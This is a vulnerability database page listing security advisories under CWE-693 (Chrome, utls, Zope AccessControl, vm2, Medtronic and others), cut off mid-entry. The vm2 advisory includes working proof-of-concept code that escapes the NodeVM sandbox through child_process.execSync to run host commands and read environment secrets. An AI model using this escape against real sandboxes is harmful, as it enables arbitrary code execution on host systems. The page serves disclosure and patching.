CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1336 vulnerabilities reference this CWE, most recent first.
GHSA-PM3C-HFH2-87GG
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 15:32Inappropriate implementation in FoldableAPIs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-11234"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:17:31Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in FoldableAPIs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-pm3c-hfh2-87gg",
"modified": "2026-06-05T15:32:19Z",
"published": "2026-06-05T00:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11234"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/496095145"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PMC3-P9HX-JQ96
Vulnerability from github – Published: 2025-04-23 14:43 – Updated: 2026-02-20 16:51Description
Before version 1.7.0, utls did not implement the TLS 1.3 downgrade protection mechanism specified in RFC 8446 Section 4.1.3 when using a utls ClientHello spec. This allowed an active network adversary to downgrade TLS 1.3 connections initiated by a utls client to a lower TLS version (e.g., TLS 1.2) by modifying the ClientHello message to exclude the SupportedVersions extension, causing the server to respond with a TLS 1.2 ServerHello (along with a downgrade canary in the ServerHello random field). Because utls did not check the downgrade canary in the ServerHello random field, clients would accept the downgraded connection without detecting the attack. This attack could also be used by an active network attacker to fingerprint utls connections.
Fix Commit or Pull Request
refraction-networking/utls#337, specifically refraction-networking/utls@f8892761e2a4d29054264651d3a86fda83bc83f9
References
- https://github.com/refraction-networking/utls/issues/181
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/refraction-networking/utls"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26994"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-23T14:43:44Z",
"nvd_published_at": "2026-02-20T03:16:01Z",
"severity": "MODERATE"
},
"details": "### Description\nBefore version 1.7.0, utls did not implement the TLS 1.3 downgrade protection mechanism specified in RFC 8446 Section 4.1.3 when using a utls ClientHello spec. This allowed an active network adversary to downgrade TLS 1.3 connections initiated by a utls client to a lower TLS version (e.g., TLS 1.2) by modifying the ClientHello message to exclude the SupportedVersions extension, causing the server to respond with a TLS 1.2 ServerHello (along with a downgrade canary in the ServerHello random field). Because utls did not check the downgrade canary in the ServerHello random field, clients would accept the downgraded connection without detecting the attack. This attack could also be used by an active network attacker to fingerprint utls connections.\n\n### Fix Commit or Pull Request\n\nrefraction-networking/utls#337, specifically refraction-networking/utls@f8892761e2a4d29054264651d3a86fda83bc83f9\n\n### References\n\n- https://github.com/refraction-networking/utls/issues/181",
"id": "GHSA-pmc3-p9hx-jq96",
"modified": "2026-02-20T16:51:12Z",
"published": "2025-04-23T14:43:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/refraction-networking/utls/security/advisories/GHSA-pmc3-p9hx-jq96"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26994"
},
{
"type": "WEB",
"url": "https://github.com/refraction-networking/utls/issues/181"
},
{
"type": "WEB",
"url": "https://github.com/refraction-networking/utls/pull/337"
},
{
"type": "WEB",
"url": "https://github.com/refraction-networking/utls/commit/f8892761e2a4d29054264651d3a86fda83bc83f9"
},
{
"type": "PACKAGE",
"url": "https://github.com/refraction-networking/utls"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "uTLS ServerHellos are accepted without checking TLS 1.3 downgrade canaries"
}
GHSA-PP98-WJF6-6X98
Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30Azure CycleCloud Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-38092"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T17:15:45Z",
"severity": "HIGH"
},
"details": "Azure CycleCloud Elevation of Privilege Vulnerability",
"id": "GHSA-pp98-wjf6-6x98",
"modified": "2024-07-09T18:30:52Z",
"published": "2024-07-09T18:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38092"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38092"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PPGM-9W39-CX97
Vulnerability from github – Published: 2024-03-08 03:31 – Updated: 2026-04-02 21:31A logic issue was addressed with improved state management. This issue is fixed in tvOS 17.4, macOS Sonoma 14.4, visionOS 1.1, iOS 17.4 and iPadOS 17.4, watchOS 10.4, iOS 16.7.6 and iPadOS 16.7.6, Safari 17.4. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.
{
"affected": [],
"aliases": [
"CVE-2024-23284"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-08T02:15:49Z",
"severity": "MODERATE"
},
"details": "A logic issue was addressed with improved state management. This issue is fixed in tvOS 17.4, macOS Sonoma 14.4, visionOS 1.1, iOS 17.4 and iPadOS 17.4, watchOS 10.4, iOS 16.7.6 and iPadOS 16.7.6, Safari 17.4. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.",
"id": "GHSA-ppgm-9w39-cx97",
"modified": "2026-04-02T21:31:38Z",
"published": "2024-03-08T03:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23284"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214089"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214087"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214084"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214082"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214081"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214089"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214088"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214087"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214086"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214084"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214082"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214081"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120895"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120894"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120893"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120883"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120882"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120881"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120880"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXORDRCSQAQU436W4S2Z3X5B5PDXL3LI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IXLXIOAH5S7J22LJTCIAVFVVJ4TESAX4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BAIPBVDQV3GHMSNSZNEJCRZEPM7BEYGF"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AO4BNNL5X2LQBJ6WX7VT4SGMA6R7DUU5"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/20"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/21"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/24"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/25"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/26"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/03/26/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PPWM-HJ26-HXCV
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 15:32Inappropriate implementation in Google Lens in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-11248"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-05T00:17:01Z",
"severity": "HIGH"
},
"details": "Inappropriate implementation in Google Lens in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-ppwm-hj26-hxcv",
"modified": "2026-06-05T15:32:20Z",
"published": "2026-06-05T00:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11248"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/497946941"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PQ59-9FQ7-M886
Vulnerability from github – Published: 2026-09-17 16:30 – Updated: 2026-09-17 16:30Impact
Python's string format functionality allows someone controlling the format string to "read" objects accessible (recursively) via attribute access and subscription from accessible objects. Those attribute accesses and subscriptions use Python's full blown getattr and getitem, not the policy restricted AccessControl variants _getattr_ and _getitem_. This can lead to critical information disclosure.
The AccessControl package already guards against direct access to the formatting functions on string instances, but these mitigations did not cover subclasses of str.
Affected are all users who allow untrusted users to create AccessControl controlled Python code and execute it.
Patches
A fix was published with version 7.4.
Workarounds
There is no workaround.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "AccessControl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77401"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T16:30:37Z",
"nvd_published_at": "2026-09-16T15:17:46Z",
"severity": "MODERATE"
},
"details": "### Impact\nPython\u0027s string `format` functionality allows someone controlling the format string to \"read\" objects accessible (recursively) via attribute access and subscription from accessible objects. Those attribute accesses and subscriptions use Python\u0027s full blown `getattr` and `getitem`, not the policy restricted `AccessControl` variants `_getattr_` and `_getitem_`. This can lead to critical information disclosure.\n\nThe `AccessControl` package already guards against direct access to the formatting functions on string instances, but these mitigations did not cover subclasses of `str`.\n\nAffected are all users who allow untrusted users to create AccessControl controlled Python code and execute it.\n\n### Patches\nA fix was published with version 7.4.\n\n### Workarounds\nThere is no workaround.",
"id": "GHSA-pq59-9fq7-m886",
"modified": "2026-09-17T16:30:37Z",
"published": "2026-09-17T16:30:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zopefoundation/AccessControl/security/advisories/GHSA-pq59-9fq7-m886"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77401"
},
{
"type": "WEB",
"url": "https://github.com/zopefoundation/AccessControl/commit/f980450eea416718be62847f34dfd51822938e43"
},
{
"type": "PACKAGE",
"url": "https://github.com/zopefoundation/AccessControl"
},
{
"type": "WEB",
"url": "https://github.com/zopefoundation/AccessControl/releases/tag/7.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Zope AccessControl vulnerable to information disclosure through Python string `format` and `format_map` functions"
}
GHSA-PQ68-RVW4-XP4R
Vulnerability from github – Published: 2026-10-07 18:05 – Updated: 2026-10-07 18:05vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.
This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:['*'] or names them explicitly — the list contains module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi, diagnostics_channel, async_hooks, perf_hooks, v8, os, dns, and test. It omits child_process — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.
Details
lib/builtin.js:
- DANGEROUS_BUILTINS (lines 83‑179) — the Set of denied builtins. child_process does not appear anywhere in it.
- isDangerousBuiltin(key) (lines 185‑195) — strips node: prefixes and applies family‑prefix matching against DANGEROUS_BUILTINS. Returns false for child_process.
- BUILTIN_MODULES (lines 209‑210) — the source list that the '*' wildcard expands to — is builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). Because isDangerousBuiltin('child_process') is false, child_process remains in '*'.
- addDefaultBuiltin (the explicit‑name path) likewise rejects only isDangerousBuiltin names, so builtin:['child_process'] is admitted as well.
The module returned is the real host child_process (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.
PoC
const { NodeVM } = require('vm2');
const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');
console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." host command execution
Verified results:
| config | require('child_process') |
|---|---|
| { builtin: ['*'] } | RCE — host id + host env read |
| { builtin: ['*', '-fs'] } (documented subtract pattern) | RCE — subtracting other modules does not remove it |
| { builtin: ['child_process'] } | RCE — explicit name admitted despite the "never, even if named" invariant |
| { builtin: ['fs'] } (control) | denied — Cannot find module 'child_process' |
Impact
Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').
builtin-child_process-denylist-gap-rce.js
'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));
process.env.HOST_ONLY_SECRET = 'CANARY123'; // host-only; sandbox process stub has env:{}
function tryConfig(label, opts) {
try {
const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
try {
const cp = require('child_process');
return {
reached: true,
id: cp.execSync('id').toString().trim(),
hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
};
} catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
})()`, 'plugin.js');
console.log(label, '=>', JSON.stringify(r));
return r;
} catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}
console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']} ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']} ", { require: { builtin: ['*', '-fs'] } }); // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: not allowed -> denied
const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
&& b && b.reached
&& c && c.reached === false;
console.log(ok
? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
: "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.12.0"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-93605"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T18:05:00Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:[\u0027*\u0027] or explicit child_process allowance.\n\nThis fork hardens `NodeVM` with a `DANGEROUS_BUILTINS` denylist that blocks host\u2011code\u2011reaching core modules **even when the sandbox requests `builtin:[\u0027*\u0027]` or names them explicitly** \u2014 the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It **omits `child_process`** \u2014 the single most direct command\u2011execution primitive. As a result, a sandbox running under `require:{builtin:[\u0027*\u0027]}` (or the fork\u0027s own documented `[\u0027*\u0027,\u0027-http\u0027,\u0027-net\u0027,\u2026]` subtract pattern) can `require(\u0027child_process\u0027).execSync(...)` and execute arbitrary commands on the host. The omission is internally inconsistent: `cluster` is denied with the explicit rationale \"`cluster.fork()` spawns a host child process running attacker\u2011controlled code,\" yet `child_process` \u2014 which spawns host processes more directly \u2014 is not.\n\n### Details\n`lib/builtin.js`:\n- `DANGEROUS_BUILTINS` (lines **83\u2011179**) \u2014 the Set of denied builtins. `child_process` does not appear anywhere in it.\n- `isDangerousBuiltin(key)` (lines **185\u2011195**) \u2014 strips `node:` prefixes and applies family\u2011prefix matching against `DANGEROUS_BUILTINS`. Returns `false` for `child_process`.\n- `BUILTIN_MODULES` (lines **209\u2011210**) \u2014 the source list that the `\u0027*\u0027` wildcard expands to \u2014 is `builtinModules.filter(s =\u003e !s.startsWith(\u0027internal/\u0027) \u0026\u0026 !s.startsWith(\u0027_\u0027) \u0026\u0026 !isDangerousBuiltin(s))`. Because `isDangerousBuiltin(\u0027child_process\u0027)` is `false`, `child_process` **remains in `\u0027*\u0027`**.\n- `addDefaultBuiltin` (the explicit\u2011name path) likewise rejects only `isDangerousBuiltin` names, so `builtin:[\u0027child_process\u0027]` is admitted as well.\n\nThe module returned is the **real host `child_process`** (default `require.context` is `\"host\"`), so `execSync`/`exec`/`spawn`/`fork` run with full host authority. The denylist\u0027s own comment (lines 42\u201144) states these primitives \"must NEVER be reachable from the sandbox, even when the user requests `\u0027*\u0027` or explicitly names them\" \u2014 the invariant `child_process` violates.\n\n### PoC\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst r = new NodeVM({ require: { builtin: [\u0027*\u0027] } }).run(`\n module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString();\n`, \u0027plugin.js\u0027);\n\nconsole.log(r); // -\u003e \"uid=1000(user) gid=1000(user) groups=...\" host command execution\n```\nVerified results:\n| config | `require(\u0027child_process\u0027)` |\n|---|---|\n| `{ builtin: [\u0027*\u0027] }` | **RCE** \u2014 host `id` + host env read |\n| `{ builtin: [\u0027*\u0027, \u0027-fs\u0027] }` (documented subtract pattern) | **RCE** \u2014 subtracting other modules does not remove it |\n| `{ builtin: [\u0027child_process\u0027] }` | **RCE** \u2014 explicit name admitted despite the \"never, even if named\" invariant |\n| `{ builtin: [\u0027fs\u0027] }` (control) | denied \u2014 `Cannot find module \u0027child_process\u0027` |\n\n\n### Impact\nFull host RCE \u2014 a complete `NodeVM` sandbox escape \u2014 for any deployment that runs untrusted code under `require:{builtin:[\u0027*\u0027]}` or the documented `[\u0027*\u0027, \u0027-x\u0027, \u2026]` subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows `child_process` believing the denylist would reject it as it does the other host\u2011spawning builtins. The attacker controls only their sandboxed script; the exploit is a single `require(\u0027child_process\u0027)`.\n\n\n### builtin-child_process-denylist-gap-rce.js\n```js\n\u0027use strict\u0027;\n// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.\n// The fork\u0027s denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins\n// even under `builtin:[\u0027*\u0027]` or explicit naming \u2014 module, worker_threads,\n// cluster, vm, repl, inspector, process, os, dns, v8, test, ... \u2014 but NOT\n// child_process. So `require:{builtin:[\u0027*\u0027]}` (an allow-all config the fork\n// explicitly hardens) yields direct host RCE. Attacker controls only the\n// sandboxed script.\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(path.resolve(__dirname, \u0027..\u0027, \u0027src\u0027, \u0027vm2\u0027, \u0027lib\u0027, \u0027main.js\u0027));\n\nprocess.env.HOST_ONLY_SECRET = \u0027CANARY123\u0027; // host-only; sandbox process stub has env:{}\n\nfunction tryConfig(label, opts) {\n try {\n const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() =\u003e {\n try {\n const cp = require(\u0027child_process\u0027);\n return {\n reached: true,\n id: cp.execSync(\u0027id\u0027).toString().trim(),\n hostSecret: cp.execSync(\u0027printenv HOST_ONLY_SECRET\u0027).toString().trim()\n };\n } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }\n })()`, \u0027plugin.js\u0027);\n console.log(label, \u0027=\u003e\u0027, JSON.stringify(r));\n return r;\n } catch (e) { console.log(label, \u0027=\u003e THREW:\u0027, e.message.slice(0, 60)); return null; }\n}\n\nconsole.log(\u0027--- child_process reachability by NodeVM require config ---\u0027);\nconst a = tryConfig(\"require:{builtin:[\u0027*\u0027]} \", { require: { builtin: [\u0027*\u0027] } });\nconst b = tryConfig(\"require:{builtin:[\u0027*\u0027,\u0027-fs\u0027]} \", { require: { builtin: [\u0027*\u0027, \u0027-fs\u0027] } }); // documented subtract pattern\nconst c = tryConfig(\"require:{builtin:[\u0027fs\u0027]} (ctl) \", { require: { builtin: [\u0027fs\u0027] } }); // control: not allowed -\u003e denied\n\nconst ok = a \u0026\u0026 a.reached \u0026\u0026 /uid=/.test(a.id) \u0026\u0026 a.hostSecret === \u0027CANARY123\u0027\n \u0026\u0026 b \u0026\u0026 b.reached\n \u0026\u0026 c \u0026\u0026 c.reached === false;\nconsole.log(ok\n ? \"\\n\u003e\u003e\u003e CONFIRMED: builtin:[\u0027*\u0027] gives host RCE via child_process (denylist gap); control denies it when not allowed\"\n : \"\\n\u003e\u003e\u003e NOT confirmed\");\nprocess.exit(ok ? 42 : 1);\n```",
"id": "GHSA-pq68-rvw4-xp4r",
"modified": "2026-10-07T18:05:00Z",
"published": "2026-10-07T18:05:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-pq68-rvw4-xp4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93605"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-nodevm-before-3.12.1-remote-code-execution-via-child-process"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 contains a sandbox escape vulnerability"
}
GHSA-PQMR-7WG9-JG7R
Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2025-05-22 21:30In Medtronic Valleylab FT10 Energy Platform (VLFT10GEN) version 2.1.0 and lower and version 2.0.3 and lower, and Valleylab LS10 Energy Platform (VLLS10GEN?not available in the United States) version 1.20.2 and lower, the RFID security mechanism does not apply read protection, allowing for full read access of the RFID security mechanism data.
{
"affected": [],
"aliases": [
"CVE-2019-13535"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-08T20:15:00Z",
"severity": "LOW"
},
"details": "In Medtronic Valleylab FT10 Energy Platform (VLFT10GEN) version 2.1.0 and lower and version 2.0.3 and lower, and Valleylab LS10 Energy Platform (VLLS10GEN?not available in the United States) version 1.20.2 and lower, the RFID security mechanism does not apply read protection, allowing for full read access of the RFID security mechanism data.",
"id": "GHSA-pqmr-7wg9-jg7r",
"modified": "2025-05-22T21:30:31Z",
"published": "2022-05-24T17:00:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13535"
},
{
"type": "WEB",
"url": "https://global.medtronic.com/xg-en/product-security/security-bulletins/valleylab-generator-rfid-vulnerabilities.html"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-19-311-01"
},
{
"type": "WEB",
"url": "https://www.us-cert.gov/ics/advisories/icsma-19-311-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PQPW-9RXV-GWW9
Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 01:02The Roundcube component of Analogic Poste.io 2.1.6 uses .htaccess to protect the logs/ folder, which is effective with the Apache HTTP Server but is ineffective with nginx. Attackers can read logs via the webmail/logs/sendmail URI.
{
"affected": [],
"aliases": [
"CVE-2019-12938"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-24T14:15:00Z",
"severity": "MODERATE"
},
"details": "The Roundcube component of Analogic Poste.io 2.1.6 uses .htaccess to protect the logs/ folder, which is effective with the Apache HTTP Server but is ineffective with nginx. Attackers can read logs via the webmail/logs/sendmail URI.",
"id": "GHSA-pqpw-9rxv-gww9",
"modified": "2024-04-04T01:02:51Z",
"published": "2022-05-24T16:48:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12938"
},
{
"type": "WEB",
"url": "https://bitbucket.org/analogic/mailserver/issues/665/posteio-logs-leak"
},
{
"type": "WEB",
"url": "https://poste.io/changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PQRR-8GM8-RCQ6
Vulnerability from github – Published: 2026-08-11 18:30 – Updated: 2026-08-11 18:30Protection mechanism failure for some Intel Extension for TensorFlow software before version 2.15.0.3 within Ring 3: User Applications may allow an escalation of privilege. System software adversary with a privileged user combined with a low complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires passive user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.
{
"affected": [],
"aliases": [
"CVE-2026-20728"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-11T17:17:50Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure for some Intel Extension for TensorFlow software before version 2.15.0.3 within Ring 3: User Applications may allow an escalation of privilege. System software adversary with a privileged user combined with a low complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires passive user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.",
"id": "GHSA-pqrr-8gm8-rcq6",
"modified": "2026-08-11T18:30:52Z",
"published": "2026-08-11T18:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20728"
},
{
"type": "WEB",
